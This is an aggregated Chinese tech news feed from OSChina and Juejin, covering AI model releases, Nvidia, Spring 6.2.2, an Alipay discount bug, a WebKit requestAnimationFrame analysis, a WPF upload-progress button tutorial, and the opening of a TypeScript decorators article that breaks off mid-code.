本周六,王志宏将出席【2025,加速技术开发】OSC源创会活动,发表《开发应用一分钟,省却台下十年功:LazyLLM助你高效构建AI助手!》主题演讲。通过介绍LazyLLM的设计理念以及编程范式,并结合一些实际应用案例,来介绍如何利用LazyLLM,让新手也能快速开发出更有竞争力的AI应用。
即刻报名: https://www.oschina.net/event/2407669
时间:2025-01-18 14:00 至 18:00
地点:北京 朝阳 酒仙桥路10号UBP恒通商务园·之所元空间

by 原创 at January 17, 2025 03:58 AM

英伟达 CEO 黄仁勋:英伟达只做难的,容易的事让其他公司做

1月17日消息,日前,英伟达CEO黄仁勋出席英伟达中国在深圳/广州/香港分公司年会,多位英伟达中国区员工在网络晒出相关照片和视频。

黄仁勋在深圳公司年会上发表了数分钟的内部演讲,还向员工们抽送高达4万元人民币的现金红包,他称明年红包数额增长到10万元。

在致辞中,黄仁勋表示,液冷技术很难,一切都很难,但英伟达喜欢挑战,英伟达只做难的,容易的事让其他公司去做。黄仁勋称,英伟达正处于Blackwell项目的快速上升阶段,Blackwell已经全面投产。尽管技术难度极大,但这一切都在努力中实现,他还现场向员工表示了感谢,感谢他们为Blackwell所付出的辛勤努力。

据了解,黄仁勋此次来访中国是为了和员工庆祝春节,英伟达关心的是如何服务好客户。据媒体报道,1月16日下午,黄仁勋已到达台中,参加晶圆封测龙头日月光旗下的矽品精密潭科新厂揭牌仪式。

by 来源: OSCHINA at January 17, 2025 03:45 AM

面壁智能发布端侧模型 MiniCPM-o 2.6,全球首个达到 GPT-4o 水平的端侧 AI

1 月 16 日,面壁智能正式发布 MiniCPM-o 2.6 模型,成为全球首个达到 GPT-4o 水平的端侧 AI。

据官方介绍,MiniCPM-o 2.6 拥有端到端全模态流式架构,基于 MiniCPM 3.0 的 4B 模型构建;支持低延迟模态并发技术,创新采用时分复用技术,并通过智能语义判断用户输入结束时机,有效降低系统响应延迟;还配备端到端全模态流式学习,令 MiniCPM-o 2.6 能够理解说话人的意图。

据悉,MiniCPM-o 2.6 能够感知用户提问之前的画面和声音,真听真看真感受,也更贴近人眼的自然视觉交互。同时 MiniCPM-o 2.6 不仅能听懂人话,还能分辨除人声之外的背景音,比如撕纸、倒水、金属碰撞等声音。

在领域测试中,MiniCPM-o 2.6 取得实时流式全模态开源模型 SOTA,性能比肩代表全球最高水平的 GPT-4o、Claude-3.5-Sonnet;在语音方面,取得理解、生成开源双 SOTA,问鼎最强开源语音通用模型;在一贯优势凸显的视觉领域,稳坐最强端侧视觉通用模型。

同时,在实时流式视频理解能力的代表榜单 StreamingBench上,MiniCPM-o 2.6 性能同样比肩 GPT-4o、Claude 3.5 Sonnet;在语音理解方面,超越 Qwen2-Audio 7B,实现通用模型开源 SOTA(包括 ASR、语音描述等任务);在语音生成方面,MiniCPM-o 2.6 超越 GLM-4-Voice 9B,实现通用模型开源 SOTA。


MiniCPM-o 2.6 开源地址:

by 来源: OSCHINA at January 17, 2025 03:41 AM

juejin ios

JS requestAnimationFrame 底层实现

window.requestAnimationFrame()后浏览器会在下一次重绘前回调,前端在回调中再次调用该函数,则实现了与屏幕帧率一致的回调。

但发现 CPU 占用较高,内存也会缓慢增加,有些怀疑底层实现有问题。

底层实现

从 WebKit LocalDOMWindow::requestAnimationFrame入口查起。

  • MonitorManager 管理了一批 Monitor;
  • Monitor 管理了一批 displayID 相同的 MonitorClient;
  • Scheduler 继承 MonitorClient;

iOS 中 Monitor 是 DisplayRefreshMonitorIOS:

DisplayRefreshMonitorIOS::startNotificationMechanism
-m_handler = adoptNS([[WebDisplayLinkHandler alloc] initWithMonitor:this]);

@implementation WebDisplayLinkHandler
- (id)initWithMonitor:(DisplayRefreshMonitorIOS*)monitor {
    if (self = [super init]) {
        m_monitor = monitor;
        // Note that CADisplayLink retains its target (self), so a call to -invalidate is needed on teardown.
        m_displayLink = [CADisplayLink displayLinkWithTarget:self selector:@selector(handleDisplayLink:)];
        [m_displayLink addToRunLoop:WebThreadNSRunLoop() forMode:NSDefaultRunLoopMode];
        m_displayLink.preferredFramesPerSecond = DisplayLinkFramesPerSecond;
    }
    return self;
}
- (void)invalidate {
    [m_displayLink invalidate];
    m_displayLink = nullptr;
}

底层果然是 CADisplayLink 去实现重绘时机捕获,但这里 CADisplayLink 与 WebDisplayLinkHandler 形成了循环引用。继续排查:

    m_monitors.append(DisplayRefreshMonitorWrapper { WTFMove(monitor) });

    struct DisplayRefreshMonitorWrapper {
        ~DisplayRefreshMonitorWrapper() {
            if (monitor)
                monitor->stop();
        }
        RefPtr<DisplayRefreshMonitor> monitor;
    };

MonitorManager 添加 Monitor 时有个 Wrapper 类,而 Wrapper 在析构时会调用 Monitor 的 stop 函数,进而打破循环引用。

回调分发

分发起点:

void DisplayRefreshMonitorIOS::displayLinkCallbackFired() {
    displayLinkFired(m_currentUpdate);
    m_currentUpdate = m_currentUpdate.nextUpdate();
}

constexpr WebCore::FramesPerSecond DisplayLinkFramesPerSecond = 60;
m_currentUpdate = { 0, DisplayLinkFramesPerSecond };

currentUpdate 是个当前帧数与帧率的结构体:

// Used to represent a given update. An value of { 3, 60 } indicates that this is the third update in a 1-second interval
// on a 60fps cadence. updateIndex will reset to zero every second, so { 59, 60 } is followed by { 0, 60 }.
struct DisplayUpdate {
    unsigned updateIndex { 0 };
    FramesPerSecond updatesPerSecond { 0 };
    DisplayUpdate nextUpdate() const  {
        return { (updateIndex + 1) % updatesPerSecond, updatesPerSecond };
    }
…

由此可见,requestAnimationFrame 的帧率上限最多 60。

后续的分发逻辑就没啥特殊的了。

结论

requestAnimationFrame 底层基于 CADisplayLink 实现,不存在内存泄露,帧率上限 60。

回调后涉及 JS 引擎对 Dom 树的刷新等,JS 是解释执行语言,每秒 60 次高频调用确实有些成本。而由于垃圾回收机制的滞后性,缓慢的内存增量可能仅是来不及回收。

JS 引擎层面的问题就不深究了,我们能做的就是尽量避免使用 requestAnimationFrame,若非要获取帧刷新回调,应该设计为按需触发循环,禁止时挂起。

by 波儿菜 at January 17, 2025 03:33 AM

juejin freebie

AI Agents与Agentic AI:如何选择适合您需求的AI?

最近几天,我收到了不少读者的私信,他们都在讨论AI Agents在各种不同场景下的应用。交流中我发现,许多朋友对AI Agents和Agentic AI这两个术语的定义及其区别似乎有些模糊。这两个听上去很高深的技术名词,实际上代表了两种不同的AI类型,它们的差异有时候会让人感到困惑。

因此,在深入探讨AI Agents的使用场景之前,我想先简单梳理一下这两个概念。我们会讨论AI Agents和Agentic AI之间的不同点,它们的实际应用,以及可能的未来发展方向。希望通过这篇文章,可以帮助大家更清晰地理解这两个AI领域中的重要术语。

一、AI Agents和Agentic AI是什么?

在我们深入探讨之前,不妨先从基本的定义开始理解。

1、什么是Agentic AI?

说到Agentic AI,我们可以将其视为一种高度自主的人工智能形态。这意味着,它能够自我决策、自主行动,甚至在无需外部指导的情况下通过学习来实现既定的目标。这就好比是有一个能思考、能推理、并能适应不断变化环境的虚拟助手。

Agentic AI的运作可以分为四个关键阶段:

  • 感知(洞察力) :它能从环境中收集信息。
  • 推理:处理收集的数据,分析事情的来龙去脉。
  • 行动:基于分析的结果,做出相应的决策。
  • 学习:通过反馈与经验,不断优化和调整自我。

这种AI的高度自主性使其非常适合处理那些需要推理、问题解决及适应新场景的复杂任务。

2、什么是 AI Agents?

而AI Agents则是另一种情形。它们通常被设计来执行特定的任务,比如帮助你回答问题、整理日历,甚至管理你的电子邮件收件箱。AI Agents擅长自动处理那些简单且重复的任务。不过,与Agentic AI相比,它们缺乏自主性和决策能力。

你可以把AI Agents想象成一种按照预设指令操作的虚拟助手。它们会严格按照你的命令执行任务,而不需要进行自我思考。这使得AI Agents在执行明确的、定义良好的任务时表现出色,但在需要自主判断和适应复杂情况的场景中则可能表现不足。

3、两者有什么区别?

AI Agents和Agentic AI虽然都是基于人工智能的技术,但它们在运作方式上有着明显的差异。

方面Agentic AIAI Agents
自主性水平可以独立行动,几乎不需要帮助自主性较低,需要人类的输入
目标导向会根据目标主动解决问题只会按照给定的指令执行任务
学习能力会不断学习和改进可能不学习,或者只在特定规则下学习
复杂性能处理复杂和变化的环境适合处理简单和结构化的任务
决策过程会根据推理和分析做出决策反应是预先设定好的
与环境的互动能积极适应周围环境的变化只对设定的输入做出反应,不会适应环境
对变化的响应能力能自主调整目标和方法在适应新情况方面能力有限

简单来说,Agentic AI更像是一个能自我学习和适应变化的高级助手,而AI Agents则更多地像是一个根据固定指令操作的工具。Agentic AI能在不断变化的环境中独立作出判断和决策,而AI Agents则在处理简单、重复的任务时更加高效。两者各有优势,但适用的场景和需求不同。

二、在现实世界中我们在哪里可以见到这些?

Agentic AI和AI Agents已经开始在多个行业中展示其潜力,其应用范围正在迅速扩大。

1、Agentic AI 的实际应用

  • 自动驾驶汽车:自动驾驶汽车是Agentic AI的一大应用领域,这些智能系统能够感知环境、做出驾驶决策并从每次行驶经验中学习,随时间改善导航和应对新挑战的能力。特斯拉的全自动驾驶系统便是这一技术的典型代表,它能持续学习和优化驾驶行为,以提高安全性和效率。
  • 供应链管理:在供应链管理领域,Agentic AI帮助企业优化操作,例如自动管理库存、预测需求和调整配送路线,以确保操作的流畅和效率。亚马逊的仓库机器人便是其中的佼佼者,它们能在复杂的环境中自主导航,适应多变的条件,自动完成货物的搬运工作。
  • 网络安全:在网络安全领域,Agentic AI能通过分析网络活动自动识别并应对潜在威胁和漏洞,如Darktrace的网络安全系统便使用Agentic AI来实时检测、响应并学习网络威胁。
  • 医疗保健:Agentic AI在医疗保健领域的应用同样重要,它可以辅助进行诊断、提出治疗建议并管理患者护理,通过分析医疗数据和识别模式来支持医生做出更精准的决策。IBM的Watson Health便是利用AI技术分析大量健康数据并从中学习,为医疗专业人员提供支持的例子。

2、AI Agents的实际应用

  • 客户支持:在客户服务领域,AI Agents常见的应用便是聊天机器人,它们能自动回答问题、解决问题并引导客户完成操作,例如AI聊天机器人就可以自动处理常见的客户问题,提高响应效率。
  • 个人助理:如果你每天使用的是Siri或Google Assistant这样的语音助手,那你已经与AI Agents有了直接的互动。这些助手可以帮你设定提醒、查看天气或播放音乐,它们依赖预设命令执行任务,擅长处理简单重复的工作。
  • 电子邮件管理:AI Agents也广泛应用于电子邮件管理,如Google的Gmail Smart Compose功能,它通过上下文提示来帮助用户快速完成邮件回复,有效节省时间。
  • 生产力工具:例如GitHub Copilot,这种工具作为AI Agents,通过提供代码建议和辅助调试来帮助开发人员,就像一个随时待命的智能助手,提高开发效率并帮助聚焦于更具创造性的任务。

最后

AI Agents和Agentic AI都以各自独特的方式在改变着我们的世界。AI Agents擅长自动执行重复性任务和处理具体的操作,使得它们在简化日常工作流程和提升效率方面扮演着重要角色。而Agentic AI则通过做出决策、从经验中学习,以及解决复杂的问题,推动了人工智能技术的边界。这两种技术不仅是推动技术发展的重要力量,也正在逐步塑造我们的生活方式和未来社会的面貌。

by MobotStone at January 17, 2025 03:32 AM

oschina news industry

国产 GPU 独角兽“沐曦”启动 IPO

1月16日消息,中国证监会官网显示,国产GPU独角兽沐曦集成电路(上海)股份有限公司在上海证监局办理了辅导备案登记,正式启动了A股上市进程,辅导机构为华泰联合证券。

沐曦成立于2020年,是国内GPU领域的龙头企业之一,其创始团队中多人来自AMD,自成立以来,沐曦迅速完成了从天使轮到A轮的四轮融资,融资金额达数十亿人民币。2023年4月,沐曦以100亿人民币的企业估值入选《2023胡润全球独角兽榜》,排名793名;2024年8月,又被胡润研究院列入《2024 胡润中国元宇宙潜力企业榜》,位列200位。

不仅是沐曦,近半年时间以来,已经有多家国产GPU独角兽相继开启IPO,2024年8月,燧原科技正式启动A股IPO进程;同年9月,AI芯片独角兽壁仞科技办理上市辅导备案登记;11月摩尔线程也已完成股份制改造,正在准备上市。

by 来源: OSCHINA at January 17, 2025 03:31 AM

全国青少年科技创新大赛不再接受 15 岁以下少年儿童参赛

中国科协办公厅日前印发《全国青少年科技创新大赛实施办法(试行)》,不再接受15岁以下少年儿童参赛,不再对选手创新作品进行评价,对弄虚作假、他人过度参与、移花接木等违规问题实行一票否决制。

全国青少年科技创新大赛创办于1982年,是由中国科协牵头举办的青少年科技创新后备人才发现和培养活动。中国科协青少年科技中心负责人介绍,实施办法在创新大赛的参赛对象、组织方式、赛制规则等方面进行了大幅改革。

在参赛对象上,不再接受低龄段少年儿童和科技辅导员参赛,面向15至24岁校内外青少年群体开展。在评价机制上,不再对选手创新作品进行评价,注重现场考察和客观评价,着重考察选手知识应用、动手实践、创新思维、批判精神和团队协作能力,破除“一件作品打天下”现象,确保竞赛公平公正。创新大赛关联赛事名单实行动态调整机制,每两年评选一次。

为杜绝弄虚作假等学术不端行为,实施办法要求,各关联赛事和创新大赛建立科学道德和科技伦理审查机制,确保竞赛评审公平公正,活动组织规范有序。参赛选手不得有违反相关竞赛规则、抄袭或侵犯他人知识产权等学术不端行为。如因赛事组织原因引发不良社会影响,创新大赛组委会将取消相关赛事入选资格,该赛事两年内不得再次申报。

中国科协青少年科技中心负责人表示,创新大赛对弄虚作假等违规问题实行一票否决制。大赛期间,参赛选手须按要求现场展示其在关联赛事中的获奖作品,接受创新大赛科学道德和伦理审查委员会专家的审查。如发现存在弄虚作假、他人过度参与、移花接木等违规问题,将取消相关人员参赛资格,并视情扣减相关赛事下一届创新大赛推荐名额。

此外,创新大赛还将建立青少年科技实践活动异常行为名录,对参赛学生、学生家长、评审专家等存在弄虚作假、违规违纪、干扰竞赛等异常行为记录在案。

实施办法仅用于全国青少年科技创新大赛的组织实施,不适用地方青少年科技创新大赛及入选关联赛事。

by 来源: OSCHINA at January 17, 2025 03:13 AM

DeepSeek 官方 App 正式发布,iOS/Android 各应用市场均已上线

DeepSeek官方App已正式发布,上线平台包括苹果App Store、小米应用商店、华为应用市场、荣耀应用市场、OPPO软件商店等。

DeepSeek官方App由DeepSeek-V3模型提供支持。在功能方面,DeepSeek App与网页端完全对标,具备联网搜索功能,可开启深度思考模式,同时还支持文件上传,能够精准扫描并读取各类文件及图片中的文字内容。

此外,该应用与网页端实现了无缝衔接,同一账号内的历史对话记录会实时同步至网页端。

下载地址:https://download.deepseek.com/app/

by 来源: OSCHINA at January 17, 2025 03:09 AM

oschina news project

Spring Framework 6.2.2 发布

Spring Framework 6.2.2 现已发布,包含 47 项修复和文档改进

New Features

  • BeanOverrideHandler中仅跟踪 qualifier annotations #34260 
  • 移除BeanOverrideProcessor中的@FunctionalInterface声明#34259
  • 优化 Web 数据绑定的默认 filtered headers #34182
  • 使用 HTTP 接口客户端改进 uri KeyValue 中的查询参数#34176
  • 优化 PathResource 的位置检查#34167
  • 避免在过程调用中 pinning 虚拟线程#34133
  • Type-level 约束违规应导致 ParameterErrors #34105
  • 避免在共享 EntityManager proxy 后面进行 logger serialization #34084
  • 改进 mvc XML 配置中的 PathMatcher 到 PathPatternParser 的迁移#34064
  • 在 test classes 的 type level 支持@MockitoBean#33925

Bug Fixes

  • HttpHeadersAssert#doesNotContainsHeaders 有错别字#34263
  • 由于 getSingletonFactoryBeanForTypeCheck 中的锁定,导致后台 EntityManager bootstrap 死锁#34247
  • 在 6.2.1 中,double generic ApplicationEvent 不再调用 ApplicationListener #34234
  • 嵌套事务保存点在 SQL Server 中被破坏#34233
  • 升级到 6.2.0 后,DefaultResponseErrorHandler 中的 Error handling override 被忽略#34231
  • class hierarchy 中的@TestBeanfactory 方法解析不正确#34204
  • subclass 中的 Bean Override 优先于子类中的 Bean Override #34194
  • 确保AsyncListener#onError在调度完成之前不会返回#34192
  • 6.2.1 中的事务限定符解析期间出现 BeanNotOfRequiredTypeException #34187
  • 当多个线程同时尝试创建 bean 时,会抛出 BeanCurrentlyInCreationException #34186
  • ……

Documentation

  • 修复 RequestHeaderArgumentResolver Javadoc 中的不准确性#34230
  • 记录 http.client.requests 测量整个 HTTP 交换#34201
  • “Basic Concept”部分中破折号的误用#34165
  • 修复链接中的拼写错误#34149
  • “Reference to Other Beans”部分的 xml 示例中的语法错误#34148
  • 修复 Kotlin 注释参考文档中的小错误#34134
  • 修复网络参考文档中的损坏链接 #3411

Dependency Upgrades

  • 升级至 Micrometer 1.14.3 #34251
  • 升级至 Reactor 2024.0.2 #34252

更多详情可查看官方博客

by 来源: OSCHINA at January 17, 2025 03:00 AM

oschina news industry

支付宝回应重大 Bug:不会向用户追款

1 月 16 日,有网友在社交平台称,在当日 14:40 至 14:45 时间段内通过支付宝转账、信用卡支付、缴费等操作时,订单支付页面均被提示「政府补贴」,可减免 20%。

此后有业内人士指出,该「乌龙」优惠疑似支付宝在测试「国补」功能时,误操作将测试环境部署到正常环境中,导致用户线上支付可直接享受减免

随后支付宝于 1 月 17 日凌晨发布公告称,确认了该「乌龙」优惠为支付宝自身失误,并表示针对针对已经发出的营销优惠金,支付宝不会向用户追款。

支付宝也给出了失误细节,是其人员在支付宝某个常规营销活动后台配错了营销模板,把优惠额度和优惠金类型都写错了

同时支付宝提醒,其官方没有发送任何资金追回短信,若收到相关信息,请勿点击以免上当受骗。

by 来源: OSCHINA at January 17, 2025 03:00 AM

日本 Sakana AI 发布自适应 LLMs:Transformer²

日本 Sakana AI 发布 Transformer²,这是一种自适应 LLMs,该方法提出了一种机器学习系统,能够动态调整其权重以适应各种任务。

Transformer² 的名称反映了其两步过程:首先,模型分析输入任务以理解其需求,然后应用任务特定的调整以生成最佳结果。通过选择性调整模型权重的关键组件,其框架使 LLMs 能够实时动态适应新任务。

Transformer² 在多种任务(如数学、编码、推理和视觉理解)上展示了显著进步,在效率和任务特定性能上超越了 LoRA 等传统静态方法,同时所需参数大大减少。

Transformer² 通过两步流程重新定义了这些强大模型处理多样化任务的方式。其核心在于能够动态调整权重矩阵的关键组件。在训练阶段,引入了奇异值微调(SVF),这是一种利用强化学习(RL)来增强/抑制来自不同“大脑”组件信号的方法,以适应各种下游任务。在推理阶段,采用三种不同的策略来检测任务身份,并相应调整模型的权重。

Sakana AI 表示其研究为未来提供了一瞥,届时 AI 模型将不再静止不变。这些系统将在测试时动态调整其计算能力,以适应所遇任务的复杂性,体现能够持续变化和终身学习的活体智能。

该公司相信,自适应性不仅将变革 AI 研究,还将重新定义我们与智能系统的互动方式,创造一个适应性与智能并驾齐驱的世界。


论文:https://arxiv.org/abs/2501.06252
GitHub:https://github.com/SakanaAI/self-adaptive-llms
官方博客:https://sakana.ai/transformer-squared/

by 来源: OSCHINA at January 17, 2025 02:55 AM

年底了来点鸡汤 —— 电子书《自洽的程序员》

“这不是一本程序员的技术书籍,整本书不会提及任何一个技术词汇,这也不是一本教你如何规划职业生涯,如何在职场走个更远的书,虽然我相信大部分内容确实有助于在职场的发展。

这本书的真正用意是想解决工作过程中碰到的焦虑、倦怠、迷茫、抑郁等情绪,聚焦于解决具体问题,通过改变认知将我们从负面情绪的泥淖中走出来,做到更坦然,真诚的面对自己的内心,成为一个自洽的程序员。”

在线阅读:self-consistent-coder.readthedocs.io/zh-cn/latest/

by 来源: OSCHINA at January 17, 2025 02:48 AM

oschina news project

🔥类似飞书钉钉&无代码&低代码流程引擎 FlowLong 1.1.2 发布

  • 开源地址:https://gitee.com/aizuda/flowlong

  • 开源地址:https://github.com/aizuda/flowlong

  • 官网文档:https://flowlong.aizuda.com

支持全流程操作监听,仅 8 张表实现整个流程引擎(更符合中国人的思维模式设计),截至当前近 300 家企业自用登记接入使用。300 多家企业包括,国家计算中心,电信 等国企已上车,你还在等什么呢?

开源登记使用名单如下,企业版用户暂不公开

https://gitee.com/aizuda/flowlong/issues/IB5K4V

Flowlong 1.1.2 主要亮点

  • feat: 新增支持banner打印
  • feat: 新增支持业务实现重定义任务参与者类型
  • feat: 新增执行节点跳转任务更新实例当前节点信息
  • opt: 优化驳回跳转处理重新审批策略
  • opt: 优化统一涉及参与者注释说明

by 来源: 投稿 at January 17, 2025 02:23 AM

juejin backend

WPF 自定义控件实战:自制上传文件进度按钮

前言

自定义控件在WPF开发中是很常见的,有时候某些控件需要契合业务或者美化统一样式,这时候就需要对控件做出一些改造。

按钮设置圆角

按钮上传文件相关定义

测试代码

正文

话不多说直接看效果

默认效果

上传效果

按钮设置圆角

因为按钮本身没有CornerRadius属性,所以只能重写Button的控件模板。

<Style TargetType="Button">
    <Setter Property="Template">
        <Setter.Value>
            <ControlTemplate TargetType="Button">
                <Border CornerRadius="5"
                        Width="{TemplateBinding Width}"
                        Background="{TemplateBinding Background}"
                        BorderThickness="1"
                        Height="{TemplateBinding Height}">
                    <ContentPresenter HorizontalAlignment="{TemplateBinding HorizontalAlignment}"
                                      VerticalAlignment="{TemplateBinding VerticalContentAlignment}"/>
                </Border>
            </ControlTemplate>
        </Setter.Value>
    </Setter>
</Style>

在按钮的模板中加入一个Border即可,但是按钮本身没有CornerRadius属性,就没办法使用TemplateBinding ,只能写死在样式,那肯定不行,所以我们就需要拓展一下Button按钮。

1、创建一个类MyProgressButton继承Button类,由于是新创建的一个类,所以我们可以直接使用依赖属性来完成这件事,在MyProgressButton中定义一个圆角弧度的依赖属性。

public CornerRadius CornerRadius
{
    get { return (CornerRadius)GetValue(CornerRadiusProperty); }
    set { SetValue(CornerRadiusProperty, value); }
}

public static readonly DependencyProperty CornerRadiusProperty =
DependencyProperty.Register(nameof(CornerRadius), typeof(CornerRadius), typeof(MyProgressButton), new PropertyMetadata(default));

2、创建一个ProgressButtonStyle.xaml的资源文件,针对MyProgressButton定义一些样式,包括弧度的绑定和鼠标移入移出的阴影效果,让我们的按钮立体起来

<Style TargetType="local:MyProgressButton">
        <Setter Property="Template">
            <Setter.Value>
                <ControlTemplate TargetType="local:MyProgressButton">
                    <Border CornerRadius="{TemplateBinding CornerRadius}"
                            Width="{TemplateBinding Width}"
                            Background="{TemplateBinding Background}"
                            BorderThickness="1"
                            Height="{TemplateBinding Height}">
                        <ContentPresenter HorizontalAlignment="{TemplateBinding HorizontalAlignment}"
                                          VerticalAlignment="{TemplateBinding VerticalContentAlignment}"/>
                    </Border>
                </ControlTemplate>
            </Setter.Value>
        </Setter>
        <Style.Triggers>
            <Trigger Property="IsMouseOver" Value="False">
                <Setter Property="Effect">
                    <Setter.Value>
                        <DropShadowEffect Color="#cccccc" Direction="270" ShadowDepth="2" Opacity="1" />
                    </Setter.Value>
                </Setter>
            </Trigger>
            <Trigger Property="IsMouseOver" Value="True">
                <Setter Property="Effect" >
                    <Setter.Value>
                        <DropShadowEffect Color="#bbbbbb" Direction="270" ShadowDepth="2" Opacity="1" />
                    </Setter.Value>
                </Setter>
            </Trigger>
        </Style.Triggers>
    </Style>

3、最后在主界面将MyProgressButton的命名控件加入进来,并且用xaml创建一个MyProgressButton按钮,自定义一些属性,并且将ProgressButtonStyle.xaml样式加入到App.xaml中

<Window x:Class="ProgressButton.MainWindow"
    xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
    xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
    xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
    xmlns:local="clr-namespace:ProgressButton"
    mc:Ignorable="d"
    Title="MainWindow" Height="450" Width="800">
<Grid>
    <local:MyProgressButton Content="上传文件" 
                            Foreground="#555555"
                            Cursor="Hand"
                            FontSize="14"
                            CornerRadius="5"
                            HorizontalAlignment="Center"
                            VerticalAlignment="Center"
                            Height="40" Width="135" 
                            Background="Salmon"
                            x:Name="upload_btn">
    </local:MyProgressButton>
</Grid>
</Window>
<Application.Resources>
     <ResourceDictionary>
         <ResourceDictionary.MergedDictionaries>
             <ResourceDictionary Source="pack://application:,,,/ProgressButton;component/Button/ProgressButtonStyle.xaml"></ResourceDictionary>
         </ResourceDictionary.MergedDictionaries>
     </ResourceDictionary>
 </Application.Resources>

看看效果:

按钮上传文件相关定义

1、定义按钮类型MyProgressButton文件上传进度,是否上传,以及上传时按钮背景色三个依赖属性

/// <summary>
/// 文件上传进度
/// </summary>
public double Progress
{
    get { return (double)GetValue(ProgressProperty); }
    set { SetValue(ProgressProperty, value); }
}

public static readonly DependencyProperty ProgressProperty =
DependencyProperty.Register(nameof(Progress), typeof(double), typeof(MyProgressButton), new PropertyMetadata(double.NegativeZero, OnProgressChanged));

/// <summary>
/// 文件是否上传
/// </summary>
public bool IsUploading
{
    get { return (bool)GetValue(IsUploadingProperty); }
    set { SetValue(IsUploadingProperty, value); }
}

public static readonly DependencyProperty IsUploadingProperty =
    DependencyProperty.Register(nameof(IsUploading), typeof(bool), typeof(MyProgressButton), new PropertyMetadata(false, OnIsUploadingChanged));

/// <summary>
/// 上传时按钮背景色
/// </summary>
public Color UploadingColor
{
    get { return (Color)GetValue(UploadingColorProperty); }
    set { SetValue(UploadingColorProperty, value); }
}

// Using a DependencyProperty as the backing store for UploadingColor.  This enables animation, styling, binding, etc...
public static readonly DependencyProperty UploadingColorProperty =
DependencyProperty.Register(nameof(UploadingColor), typeof(Color), typeof(MyProgressButton), new PropertyMetadata(Colors.White));

2、如何实现按钮内部的进度显示?有几种办法,比如使用渐进色修改偏移,或者按钮内部套一个进度条,或者按钮内部放两个不同颜色的块控件,动态修改两者的长度。

我们选择第一种。

在Progress属性被修改的时候,我们动态修改下按钮内部渐进色的偏移。

ProgressProperty添加值变化的回调。

private static void OnProgressChanged(DependencyObject d, DependencyPropertyChangedEventArgs e)
{
    var btn = d as MyProgressButton;
    var progress = (double)e.NewValue;
    if (progress != double.NegativeZero)
    {
        Brush brush = null;
        if ((brush = btn.Background as LinearGradientBrush) != null) //如果按钮本身是线性渐变色则直接修改偏移
        {
            GradientStopCollection collections =
                brush.GetValue(GradientBrush.GradientStopsProperty) as GradientStopCollection;

            collections[1].Offset = collections[0].Offset = progress / 100;
        }
        else //如果本身不是线性渐变色则将背景色修改为线性渐变色
        {
            LinearGradientBrush linearGradientBrush = new LinearGradientBrush();
            //设置一个横向的线
            linearGradientBrush.StartPoint = new Point(0, 0.5);
            linearGradientBrush.EndPoint = new Point(1, 0.5);

            GradientStop gradientStop = new GradientStop(); //右边的颜色,即按钮设置的上传时背景色
            gradientStop.Color = btn!.UploadingColor;

            GradientStop gradientStop1 = new GradientStop();//左边的颜色,即按钮原本的颜色
            gradientStop1.Color = (btn!.Background as SolidColorBrush)!.Color;

            gradientStop.Offset = gradientStop1.Offset = progress / 100;

            linearGradientBrush.GradientStops.Add(gradientStop1);
            linearGradientBrush.GradientStops.Add(gradientStop);
            btn.Background = linearGradientBrush;
        }
    }
}

在上传文件的时候,将按钮置为禁用,防止重复点击。写一个IsUploadingProperty属性的值变化的回调。

private static void OnIsUploadingChanged(DependencyObject d, DependencyPropertyChangedEventArgs e)
{
    var btn = d as MyProgressButton;
    if ((bool)e.NewValue)
    {
        btn!.IsEnabled = false;
    }
    else
    {
        btn!.IsEnabled = true;
    }
}
测试代码
Binding binding = new Binding();
binding.Source = this;
binding.Path = new PropertyPath("Progress");
binding.Mode = BindingMode.OneWay;
upload_btn.SetBinding(MyProgressButton.ProgressProperty, binding);

Binding binding1 = new Binding();
binding1.Source = this;
binding1.Path = new PropertyPath("IsUploading");
binding1.Mode = BindingMode.OneWay;
upload_btn.SetBinding(MyProgressButton.IsUploadingProperty, binding1);
async void upload_btn_Click(object sender, RoutedEventArgs e)
{
    IsUploading = true;
    try
    {
        using (FileStream fread = new FileStream("d://d3dcompiler_47.dll", FileMode.Open, FileAccess.Read))
        using (FileStream fwrite = new FileStream("d://d3dcompiler_47_copy.dll", FileMode.OpenOrCreate, FileAccess.Write))
        {
            var allLength = new FileInfo("d://d3dcompiler_47.dll").Length;
            long copyedBytes = 0;
            while (true)
            {
                var buffer = ArrayPool<byte>.Shared.Rent(1024 * 10);
                try
                {
                    var len = await fread.ReadAsync(buffer, 0, buffer.Length);
                    if (len > 0)
                    {
                        await fwrite.WriteAsync(buffer[..len]);
                        copyedBytes += len;
                        Progress = copyedBytes * 100 / allLength;
                        await Task.Delay(20);
                    }
                    else
                    {
                        break;
                    }
                }
                catch { break; }
                finally
                {
                    ArrayPool<byte>.Shared.Return(buffer);
                }
            }

            MessageBox.Show("上传成功");
        };
    }
    finally
    {
        IsUploading = false;
    }
}

总结

本文通过实战案例,详细介绍了在 WPF 中自定义控件的技能,重点打造了一个上传文件并显示进度的按钮。从控件的设计到功能实现,一步步展示了如何结合 XAML 布局与 C# 代码,实现文件上传及进度动态展示。

过程不仅巩固了 WPF 自定义控件的基础知识,还提升了开发具有特定功能控件的能力,为大家在实际项目中定制个性化控件提供了实用参考。

最后

如果你觉得这篇文章对你有帮助,不妨点个赞支持一下!你的支持是我继续分享知识的动力。如果有任何疑问或需要进一步的帮助,欢迎随时留言。

也可以加入微信公众号 [DotNet技术匠] 社区,与其他热爱技术的同行一起交流心得,共同成长!

优秀是一种习惯,欢迎大家留言学习!

作者:BruceNeter

出处:cnblogs.com/qwqwQAQ/p/17473005.html

声明:网络内容,仅供学习,尊重版权,侵权速删,歉意致谢!

by 小码编匠 at January 17, 2025 02:12 AM

juejin frontend

深入理解装饰器、reflect-metadata 与 IOC 控制反转

深入理解装饰器、reflect-metadata 与 IOC 控制反转

在现代的 JavaScript 和 TypeScript 开发中,装饰器、reflect-metadata 以及 IOC(控制反转)是构建强大、灵活且可维护软件系统的关键技术。让我们逐步深入探讨这些概念,并着重关注装饰器的输出及其在不同场景中的作用。

一、装饰器:提升代码功能的强大工具

装饰器的基础概念

装饰器是一种使用 @expression 语法的特殊声明,可应用于类声明、方法、属性或参数上。在运行时,expression 会被计算,且其结果必须是一个接收被装饰目标作为参数的函数。装饰器的强大之处在于,它允许我们在不修改原始代码结构的前提下,为代码增添额外的功能,这在诸如元编程、日志记录、性能监控和权限检查等方面表现出色。

装饰器的分类及其输出和行为

类装饰器

类装饰器主要用于修改类的构造函数或添加静态属性。以下是一个典型的类装饰器示例:

// 类装饰器函数,接收一个构造函数作为参数
